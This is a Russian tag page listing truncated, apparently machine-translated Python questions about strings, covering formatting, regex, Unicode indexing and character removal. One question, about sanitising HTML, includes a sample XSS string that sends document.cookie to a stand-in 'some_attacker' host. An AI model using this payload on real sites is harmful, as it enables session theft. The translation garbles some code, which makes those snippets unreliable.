Tag: строка

Временная сложность доступа к индексу строки python?

Если я не ошибаюсь, строка в формате Python хранится в сканировании юникода. Тем не менее, сканеры unicode могут объединяться для формирования других кластеров графемы. Поэтому использование смещения памяти start + scalarSize * n для string[n] не является ответом, который вы ищете. Означает ли это, что Python линейно проходит через каждый скаляр, чтобы получить скаляр, который […]

Комбинации строки с конкретными переменными

Как я могу собрать комбинацию строки, в которой некоторые символы (но не все) являются переменными? Другими словами, у меня есть входная строка и символьная карта. Карта символов указывает, какие символы являются переменными, и что они могут быть заменены. Затем функция дает все возможные комбинации. Чтобы выразить это в контексте, я пытаюсь собрать возможные варианты для […]

os.system не работает, но ввод того же самого в командную строку работает

Я пытаюсь запустить python abaqus через командную строку, используя os.system('abaqus CAE noGUI=ODBMechens') Кажется, что ничего не работает, но если я сам перейду в командную строку и введите abaqus CAE noGUI=ODBMechens оно работает. Я использую python 2.7 на Windows 10. Спасибо

Python как форматировать строку валюты

У меня есть три поплавки, которые я хочу вывести в виде строки с 2 десятичными знаками. amount1 = 0.1 amount2 = 0.0 amount3 = 1.87 Я хочу вывести все из них в виде строки, которая выглядит как 0.10, 0.00 и 1.87 соответственно. Как мне это сделать эффективно?

Печать пустой строки с двойными кавычками вместо одиночных кавычек в Python

У меня есть список, который я хочу довольно печатать, который содержит пустые списки, а также списки со строковыми членами. проблема состоит в том, что списки, содержащие строки, печатаются с двойными кавычками: >>> ул ([ 'а']) "[ 'А']" Но пустой список печатается с одинарными кавычками: >>> str ([]) '[]' Есть ли способ всегда принудительно печатать строку […]

Удаление ненужных символов из строки в Python

У меня есть несколько строк, которые я хочу удалить из них некоторые нежелательные символы. Например: Adam'sApple —-> AdamsApple . ( Adam'sApple —-> AdamsApple регистра) Может кто-то мне помочь, мне нужен самый быстрый способ сделать это, потому что у меня есть несколько миллионов записей, которые нужно отполировать. благодаря

шестнадцатеричное преобразование форматирования строки в python

Я использовал генерацию случайной строки следующим образом (теперь я переключился на этот метод ). key = '%016x' % random.getrandbits(128) Ключ, созданный таким образом, чаще всего является строкой из 32 символов, но как только у меня есть 31 символ. Это то, чего я не понимаю: почему это 32 символа, а не 16 ? Разве не одна […]

Unicode re.sub () не работает с \ g <0> (группа 0)

Почему \g<0> работает с регулярным выражением unicode? Когда я пытался использовать \g<0> для вставки пробела до и после группы с обычным регулярным выражением, он работает: >>> punct = """,.:;!@#$%^&*(){}{}|\/?><"'""" >>> rx = re.compile('[%s]' % re.escape(punct)) >>> text = '''"anständig"''' >>> rx.sub(r" \g<0> ",text) ' " anst\xc3\xa4ndig " ' >>> print rx.sub(r" \g<0> ",text) " anständig […]

Почему функция не работает? Попытка заменить слова в строке

Я пытаюсь заменить некоторые ключевые слова в строке. Вот моя функция: def clean_code(input): input.replace('<script>', " ") input.replace('</script>', " ") input.replace('<a href>', " ") input.replace('</a>', " ") input.replace('>', "&gt;") input.replace('>', "&lt;") return input и вот мой другой код и строка: string1 = "This blog is STUPID! >\n" \ "<script>document.location='http://some_attacker/cookie.cgi?"\ " +document.cookie </script>" print '\nstring1 cleaned of […]

Python эквивалент Ruby's StringScanner?

Существует ли класс python, эквивалентный классу Ruby StringScanner ? Я мог бы взломать что-то вместе, но я не хочу изобретать велосипед, если это уже существует.

Interesting Posts
Python - лучший язык программирования в мире.